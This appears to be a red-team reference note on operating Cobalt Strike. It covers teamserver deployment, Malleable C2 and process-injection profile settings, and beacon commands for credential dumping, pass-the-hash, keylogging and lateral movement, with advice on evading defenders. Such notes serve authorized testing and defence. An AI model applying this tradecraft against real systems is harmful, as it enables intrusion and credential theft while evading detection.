Cobalt Strike
TeamServer
TeamServer Overview
Cobalt Strike is split into a server, named the teamserver, and client components. The teamserver is at the core of the Cobalt Strike infrastructure, with the beacons calling back (directly or through a redirector) to the teamserver for actions.
The teamserver expose the TCP port 50050 for clients access (using the Cobalt Strike client component). The port should not be publicly exposed on the Internet, notably because scans are conducted by blue teams to identify Internet-facing Cobalt Strike teamservers. A remote access service (SSH, VPN, etc.) should be used instead for collaborative access.
Additionally, the beacons should not call back directly to the teamserver, but should instead call back to a redirector (such as Azure CDN for example). This greatly limit the exposure of the teamserver, and reduce the risk of the teamserver being identified by the blue team.
# Starts the teamserver over the given IP and with the specified shared password (for clients access).
./teamserver <LISTENING_IP> <PASSWORD> [<C2_PROFILE_PATH>] [<BEACON_KILL_DATE_YYYY-MM-DD>]Note that exposure of the teamserver (port TCP 50050) should be restricted at a network level (for example through a security group in AWS or a network security group in Azure). An Internet-facing teamserver could be leveraged by blue teams to retrieve the beacons configuration by emulating staged beacons callbacks. This can be for instance achieved using melting-cobalt. ssh may be used, for example, to forward the teamserver TCP port on attacking systems:
# forwards locally the Cobalt Strike teamserver on port TCP 50050.
# The Cobalt Strike client can then be used on attacking systems to connect to the teamserver (at 127.0.0.1).
ssh [-i <PRIVATE_KEY>] -nNT -L 50050:127.0.0.1:50050 <USERNAME>@<TEAMSERVER_PUBLIC_IP>Malleable C2 Profiles overview
The way Cobalt Strike beacons interact with the teamserver can be customized through an optional Malleable C2 profile, chosen upon the start of the teamserver. A custom Malleable C2 profile should always be used for operations, in order to limit the risk of detection.
The Malleable C2 Profile notably controls:
The default
beaconssleep time and optional jitter (to randomize the effectivebeaconssleep time).Staging process, which is recommended to keep disabled (
set host_stage "false") for OPSEC issues (identification ofteamserverby simulating a staged beacons). If disabled, only stagelessbeaconswill be usable.The
SSL/TLScertificate used byHTTPSlisteners.The
HTTPbeaconsrequestsURIand parameters, theteam-serverHTTPresponses content, as well as headers (User-Agent,Referer,Server, etc.).The
TCPbeaconslistening port,SMBbeaconsnamed pipe,SSHbeaconsbanner and pipe name,DNSbeaconsparameters (subhost forA,AAAA,TXTrecords, max query size, etc.).Post-exploitation jobs behavior, such as the program used to spawn process for injection, activation of automated
AMSIbypass in PowerShell jobs, WindowsAPIleveraged for process injection (memory allocation and code injection), etc.
Detailed information about Cobalt Strike Malleable C2 profile various options can be found on:
Public Malleable C2 profiles
A number of public Malleable C2 Profiles can be used as templates / references for further customization (publicly shared profiles shouldn't be used as is, due to known markers being already defined by security products).
Profiles attempting to mimic a jquery.js request.
A number of profiles to mimic various services (Gmail, OCSP, wikipedia, etc.) as well as attacker groups (based on mostly outdated threat intelligence however).
Cobalt Strike's c2lint utility can be used to check the validity of the specified profile: c2lint <C2_PROFILE_PATH>.
Beacons obfuscation
Arsenal kit overview
https://www.cobaltstrike.com/scripts
Artefact kit: custom beacons PE
Resource kit: custom beacons scripts
The resource kit is part of Cobalt Strike property Arsenal and contains PowerShell, Python, and VBA templates used by Cobalt Strike for related operations. The resource kit is notably used for:
Script based beacon stagers (
PowerShellandPython).VBAmacro for generatedOfficedocuments.PowerShell operations (commands and download)
PowerShell command and download one-liner for operations related to PowerShell (
powershell,winrm,psexec_psh, etc.) or requiring file download (powershell-import,elevate,spawnas/spawnu, etc.).
The resource kit can be loaded / reloaded using the script manager:
Cobalt Strike -> Script Manager -> Load / Reload -> resources.cnaresources.cna
Aggressor script to load in order to instruct Cobalt Strike to use the templates defined in the resource kit over the built-in ones.
compress.ps1
PowerShell template to compress PowerShell scripts (by default using IO.Compression.GzipStream).
Affected components:
- Beacons PowerShell payloads.
- Scripted Web Delivery (PowerShell).
- beacons' powershell-import, psexec_psh, and wmi commands.
template.x86.ps1
PowerShell template for x86 PowerShell beacon stagers.
Affected components:
- Windows EXE x86 stage-less PowerShell payload.
- Scripted Web Delivery (PowerShell).
- beacons' spawnas / spawnu, psexec_psh, and winrm / wmi commands.
- HTML Application (PowerShell method).
template.x64.ps1
PowerShell template for x64 PowerShell beacon stagers. Affected components: - Windows EXE x64 stage-less PowerShell payload.
template.x86.vba
VBA template for x86 payloads.
Affected components:
- Microsoft Office Macro Attack.
- HTML Application (VBA method). - Scripted Web Delivery (regsvr32 method).
template.vbs
VBScript template used to execute VBA payloads (such as a payload generated from template.x86.vba).
template.exe.hta
HTA template for HTML application (Attacks -> Packages -> HTLM Application) generated with the Executable method.
template.psh.hta
HTA template for HTML application (Attacks -> Packages -> HTLM Application) generated with the PowerShell method.
template.py
Python for x86 and x64 payloads. Affected components: - Scripted Web Delivery (Python).
Sleep kit: custom obfuscation for beacons sleeps
TODO
Custom beacon shellcode generator
The Cobalt Strike Shellcode Generator aggressor script can be used to generate and format beacon shellcode. The generated shellcode can be encrypted using XOR or AES-256-CBC, as well as encoded in base64 or compressed (in gzip).
Custom beacon shellcode loader
Refer to the [Windows] - Shellcode and PE loader note for more information on shellcode loaders that can be leveraged to execute Cobalt Strike beacons.
Beacons commands (built-in and with third party Aggressor script)
Numerous beacon commands are available, allowing a number of actions to be performed through Cobalt Strike's beacons. The commands arguments and description were largely taken from Cobalt Strike help message, while the OpSec considerations were established using the very comprehensive official Cobalt Strike documentation, public resources (referenced at the end of the present note), and tests done in DetectionLab.
Beacon Object Files OpSec considerations
A number of beacon commands are implemented as Beacon Object Files (BOF). BOF are compiled C programs, with certain limitations, that execute within a beacon process. After completion of the execution, BOF are cleaned from memory. BOF leverage by default RWX memory, which is suspicious and may get flagged by security products. This behavior can be changed through the Malleable C2's profile process-inject section:
process-inject {
# [...]
set startrwx "false";
set userwx "false";
# [...]
}Additionally, the built-in commands can be overridden / supplemented with Aggressor scripts and third-party BOFs.
The commands build around an internal BOF will be specified in the following sections (as Beacon Object Files OpSec considerations).
Spawn and run pattern OpSec considerations
A number of beacon commands (execute-assembly, powerpick, ...) spawn a sacrificial process and inject code in the newly created process to conduct their operations.
A number of considerations should be taken into account for commands using the spawn and run pattern:
By default,
rundll.exeis spawned as the sacrificial process, which can (and should) be changed using thespawnto <x86 | x64> <BINARY_FULL_PATH>command.By default, the sacrificial process will be spawned as a child of the
beaconprocess. This behavior can (and in most case should) be changed using theppid <PID>command.The spawned process may be monitored by security products through userland
DLLhooking even if the parent process is in an "unhooked" state. Under certain circumstances, theblockdlls startcommand can be used to prevent userland hooking by leveraging a signature policy that blocks non-MicrosoftDLLsfrom loading in the child process memory space.
The commands build around the spawn / fork and run pattern will be specified in the following sections (as Spawn and run pattern OpSec considerations).
Process injection OpSec considerations
Some commands will default to spawning a new process (fork and run pattern) but will allow for the specification of an existing target process to inject into. Limited commands will also require injection into a remote process (browserpivot and psinject) with no possible alternative.
A number of considerations should be taken into account for code injection (and the beacon commands build around it):
Injection across process arch require the use of more visible / monitored Windows
APIs. As some commands require to be executed in ax64process on ax64system, it is recommended to make use ofx64beacons as much as possible (to avoidx86->x64noisy injections).Self-injection uses the much less scrutinized
CreateThreadAPI(by default). Specifying the currentbeaconprocess for commands allowing the specification of a target process will result in self-injection. The tradeoff of self-injection is a potentialbeaconlose if the injected code crashes or get detected and induce a kill of the process.While having other OpSec tradeoffs, the
spawnuandrunucommands can be used to avoid code injection by spawning, respectively, a newbeaconor binary under another parent process. The child process created will inherit the security context of the parent process.
The Windows API leveraged for the code injection are defined in the Malleable C2's profile process-inject->execute section:
# More information on the configuration can be found in the official Cobalt Strike documentation at:
# https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike/
process-inject {
# Set the remote memory allocation API.
set allocator "NtMapViewOfSection";
# Set the content and properties of the injected memory section.
set min_alloc "16384";
set startrwx "false";
set userwx "false";
# Set padding instructions, used if needed to reach minimal allocation size.
transform-x86 {
prepend "\x90";
}
transform-x64 {
prepend "\x90";
}
# Specify the Windows API used for starting the code execution.
# The API will be used in order if prerequisites are matched.
# The execute section should cover the following cases: self injection, injection into suspended temporary processes, cross-session remote process injection, x86 -> x64 / x64 -> x86 injection, and injection with or without passing an argument.
execute {
# Self injection attempted only if the target process is equal to the current process.
CreateThread "ntdll!RtlUserThreadStart";
CreateThread;
# Only called if the targeted process is suspended.
# Process arch limitations: x86 -> x86, x64 -> x64, or x64 -> x86.
# Can be choosen over NtQueueApcThread-s.
# SetThreadContext
# Only called if the targeted process is suspended.
# Current and targeted process should be of the same arch (x86 -> x86 or x64 -> x64).
NtQueueApcThread-s;
# Creates a RWX stub and register it to the APC queue of every thread in the remote process.
# If a thread enters an "alertable" state, the stub will execute and call CreateThread on the injected code (to quickly let the original thread continue its normal execution).
# Current and targeted process should be of the same arch (x86 -> x86 or x64 -> x64).
# NtQueueApcThread
# Very visible / monitored API.
# Process arch limitations: x86 -> x86, x64 -> x64, or x64 -> x86.
CreateRemoteThread;
# Very visible / monitored API.
# No process arch limitation (covers x86 -> x86, x86 -> x64, x64 -> x64, and x64 -> x86).
# Uses RWX memory for x86 -> x64 injection.
# Allows code injection across session boundaries.
RtlCreateUserThread;
}
}The commands build around process injection (both optional or required) will be specified in the following sections (as Process injection OpSec considerations).
PowerShell OpSec considerations
As specified in the "Resource kit: custom beacons scripts" section above, a number of commands rely on executing powershell.exe.
Opsec Aggressor Profiles
A number of Opsec Aggressor Profiles can be loaded to overwrite and disable some of the built-in beacon commands. Each profile disable a class of commands relying an a (potentially) dangerous / expensive OpSec pattern (such as execution of cmd.exe or process injection). Note that these Aggressor scripts do NOT limit the operations that are conducted through the Cobalt Strike GUI client.
The following profiles are available:
cmd-execution.cna: prevents commands that rely oncmd.exe.powershell.cna: prevents commands that rely onpowershell.exeprocess-execution.cna: prevents commands that spawn a new process.process-injection.cna: prevents commands that rely on process injection.service-creation.cna: prevents commands that create new services.template.cna: template that may be used for any custom commands enabling / disabling.
The Aggressor scripts also had a opsec command that can be used to list all the beacon commands and their activation status.
Community Aggressor scripts and BOFs
The Community Kit is repository of extensions, including Aggressor scripts and BOFs, written by the community to extend Cobalt Strike capabilities.
Collection of BOFs to gather information on the local host or remote services: ifconfig, users and groups, services and scheduled tasks, ldap request, ADCS enumeration, etc.
Complementary collection of BOFs, CS-Situational-Awareness-BOF to conduct operations (services, scheduled tasks, registry operations, etc.).
A .NET XOR encrypted aggressor script to execute in-memory SharpChisel (through the NetLoader, itself executed via execute-assembly).
Binary and aggressor script to dump a process memory. Refer -to the [Windows] Post exploitation - Credentials dumping for more information.
Adds the helpx commands that lists beacon commands and highlight them based on OpSec considerations (Housekeeping, API-only, BOF, fork and run pattern, process spawning or injection, etc.).
Compress the specified file or folder (from local or UNC path) using a reflectively loaded DLL. The archive will be stored as a ZIP file with a random name under the executing user temp folder.
General commands
help
help <COMMAND>
Print the help menu.
None (no communication with the beacon).
checkin
Call home and post data
sleep
Set beacon sleep time
note
Assign a note to this Beacon
history
Show the command history
jobs
List long-running post-exploitation tasks
jobkill
Kill a long-running post-exploitation task
kill
Kill a process
unlink
Disconnect from parent Beacon
clear
Clear beacon queue
exit
Terminate the beacon session
screenshot
Take a single screenshot
Default to spawn and run pattern, supports explicit process injection.
printscreen
Take a single screenshot via PrintScr method
Default to spawn and run pattern, supports explicit process injection.
screenwatch
Take periodic screenshots of desktop
Default to spawn and run pattern, supports explicit process injection.
spawnto <x86 | x64> <BINARY_FULL_PATH>
Set the executable used to spawn processes into for spawn and run commands.
If spawning a process from %SystemRoot%\System32, the path should be specified using %SystemRoot%\sysnative\ or %SystemRoot%\syswow64\ instead.
The %SystemRoot%\System32 path is indeed resolved differently for x86 and x64 processes (%SystemRoot%\System32 is mapped to %SystemRoot%\syswow64\ for x86 processes on 64 bits systems).
Local system enumeration and interaction commands
ps
Show process list
net
Network and host enumeration tool
Beacon Object Files OpSec considerations. Default to spawn and run pattern, supports explicit process injection.
reg query <x86 | x64> <HIVEROOT\PATH>
reg queryv <x86 | x64> <HIVEROOT\PATH> <subkey>
Query the specified key in the registry registry. The breg BOF should be used for registry modifications.
Query the specified subkey in the registry registry.
The HIVEROOT should be:
HKLM, HKCR, HKCC, HKCU, or HKU.
breg <COMMAND> <HIVEROOT\PATH> [/v <VALUE>] [/t <TYPE>] [/d <DATA>] [/a <x32 | x64>]
Supported commands: query, add, or delete.
The specified key can be local (HIVEROOT = HKLM, HKCR, HKCC, HKCU, or HKU) or on a remote computer (\\<HOSTNAME | IP\HIVEROOT[\<PATH]>).
Supported types: REG_SZ, REG_NONE, REG_DWORD, REG_QWORD, and REG_EXPAND_SZ.
Query, add, or delete keys/values in the registry.
Beacon Object Files OpSec considerations.
Specific OpSec considerations depending on the key modified (such as persistence operations through ASEP registry keys).
setenv
Set an environment variable
Filesystem interaction commands
pwd
Print current directory
drives
List drives on target
ls
List files
cd
Change directory
mkdir
Make a directory
mv
Move a file
cp
Copy a file
rm
Remove a file or folder
desktop
View and interact with target's desktop
upload <LOCAL_FILE_PATH>
Upload a file to the current working directory.
The better-upload.cna Aggressor Script can be used to override the upload command with an alternative allowing the specification of the output file path:
upload <LOCAL_FILE_PATH> <OUTPUT_FILE_PATH>.
download
Download a file
downloads
Lists file downloads in progress
cancel
Cancel a download that's in-progress
Command / code execution commands
New local beacon session
spawn [<x86 | x64>] <LISTENER>
Spawn a new process and inject a shellcode for a beacon session (calling back to the specified listener).
spawnu <PID> <LISTENER>
Similar to spawn except the beacon process is spawned as a child of the process specified by PID.
While not fully following the spawn and run pattern, the process spawned will default to rundll.exe and should be updated using the spawnto command.
inject <PID> <x86 | x64> <LISTENER>
Spawn a new beacon session by injecting a shellcode in the process specified by .
Basic commands / programs execution
shell <COMMAND> [<ARGUMENTS>]
Execute the specified command via cmd.exe.
Not OpSec friendly and should generally be avoid.
The beacon process will spawn a new cmd.exe process, which in turn may spawn a third process executing the specified binary.
execute
Execute a program on target (no output)
runu
Execute a program under another PID
PowerShell
powershell-import
Import a PowerShell script
In memory .NET assembly execution
execute-assembly <ASSEMBLY_FULL_PATH> [<ARGUMENTS>]
Execute a local .NET assembly in-memory through a newly spawned sacrificial process. The main advantage of the sacrificial process is to prevent the beacon being impacted by crash or killing (if detected) of the executed .NET assembly.
(Very) Simplified overview of a .NET assembly execution via unmanaged code as (possibly) implemented by execute-assembly:
1. Spawning of a new process and injection of code in the new process. All the next steps described below will be done by the injected code in this new process.
2. Loading, if available, of the appropriate version of the Common Language Runtime (CLR) for the .NET assembly executed (CLR 2.X for <= .NET Framework 3.5 or CLR 4.X for .NET Framework 4.0+ assemblies).
3. Instantiation of an AppDomain object and loading of the assembly using AppDomain.Load(byte[] assembly) or _AppDomain->Load_3((SAFEARRAY) assembly, _Assembly** pRetVal)) methods.
4. Retrieval of the assembly EntryPoint (for example with Assembly->EntryPoint) and invocation of the EntryPoint with MethodInfo->Invoke_3.
Spawn and run pattern OpSec considerations.
The InlineExecute-Assembly BOF may be used to avoid this pattern (with potential beacon stability impact as a tradeoff).
InlineExecute-Assembly
inlineExecute-Assembly --dotnetassembly <ASSEMBLY_FULL_PATH> [--assemblyargs <ARGUMENTS>]
Additional options:
--amsi: disable AMSI
Execute a local .NET assembly in-memory directly in the beacon process.
InlineExecute-Assembly helps avoiding the spawn and run of execute-assembly that may be detected by security products.
As the .NET assembly is loaded and executed directly in the beacon process however, any crash or detection inducing a kill of the process will result in losing the beacon.
Beacon Object File (BOF) execution
inline-execute
Run a Beacon Object File in this session
Shellcode / process injection
shinject
Inject shellcode into a process
shspawn
Spawn process and inject shellcode into it
dllinject
Inject a Reflective DLL into a process
Defense evasion commands
ppid
Set parent PID for spawned post-ex jobs
argue
Spoof arguments for matching processes
blockdlls
Block non-Microsoft DLLs in child processes
Credentials usage commands
Refer to [Windows] Lateral movement - Local credentials reuse note for more information on Cobalt Strike credentials usage capabilites (make_token, runas / spawnas, and runu / spawnu commands).
make_token <DOMAIN>\<USERNAME> <PASSWORD>
Replace the Logon Session in the current
beacon Windows Access Token, which is used for authentication over the network (and does not impact the local security context).
runas
Execute a program as another user
spawnas
Spawn a session as another user
pth pth <DOMAIN>\<USERNAME> <NTHASH>
Pass-the-hash using Mimikatz
Default to spawn and run pattern, supports explicit process injection.
kerberos_ccache_use
Apply Kerberos ticket from cache to this session
kerberos_ticket_purge
Purge Kerberos tickets from this session
Privileges and local privilege escalation commands
steal_token
Steal access token from a process
rev2self
Revert to original token
Lateral movement commands
`portscan [<TARGET_PROCESS_PID>] [<TARGET_PROCESS_ARCH>] [] [] [<arp
icmp
none>]`
run
Execute a program on target (returns output)
jump <psexec | psexec64 | psexec_psh | winrm | winrm64> <TARGET> <LISTENER>
Spawn a session on a remote host using the current access token.
link
Connect to a Beacon peer over a named pipe. SMB Beacon usage: https://www.youtube.com/watch?v=lelRK-SDubc
connect
Connect to a Beacon peer over TCP
Pivoting commands
Refer to [General] Pivoting - Cobalt Strike for more information on Cobalt Strike pivoting capabilites (rportfwd / rportfwd_local, covertvpn, and socks commands).
rportfwd <LOCAL_BIND_PORT> <FORWARD_HOST> <FORWARD_PORT>
Setup a reverse port forward by redirecting requests on the compromised host's LOCAL_BIND_PORT to FORWARD_HOST:FORWARD_PORT.
The traffic is routed through the TeamServer, and thus rportfwd gives the ability to grant access to hosts accessible by the TeamServer itself on the compromised host.
rportfwd_local
Setup a reverse port forward by redirecting requests on the compromised host's LOCAL_BIND_PORT to FORWARD_HOST:FORWARD_PORT.
The traffic is routed through the TeamServer, and thus rportfwd gives the ability to grant access to hosts accessible by the TeamServer itself on the compromised host.
spunnel
Spawn and tunnel an agent via rportfwd
spunnel_local
Spawn and tunnel an agent via Cobalt Strike client rportfwd
ssh
Use SSH to spawn an SSH session on a host
Default to spawn and run pattern, supports explicit process injection.
ssh-key
Use SSH to spawn an SSH session on a host
Default to spawn and run pattern, supports explicit process injection.
socks
Start SOCKS4a server to relay traffic
socks stop
Stop SOCKS4a server
Post-exploitation commands
keylogger
Start a keystroke logger
Default to spawn and run pattern, supports explicit process injection.
chromedump
Recover credentials from Google Chrome
Default to spawn and run pattern, supports explicit process injection.
logonpasswords
Dump credentials and hashes with mimikatz
Default to spawn and run pattern, supports explicit process injection.
dcsync
Extract a password hash from a DC
Default to spawn and run pattern, supports explicit process injection.
mimikatz
Runs a mimikatz command
Default to spawn and run pattern, supports explicit process injection.
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode dns6 Use DNS AAAA as data channel (DNS beacon only)
References
https://www.cobaltstrike.com/help-start-cobaltstrike
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm
https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands
https://www.cobaltstrike.com/help-malleable-c2
https://github.com/threatexpress/malleable-c2
https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b
https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/
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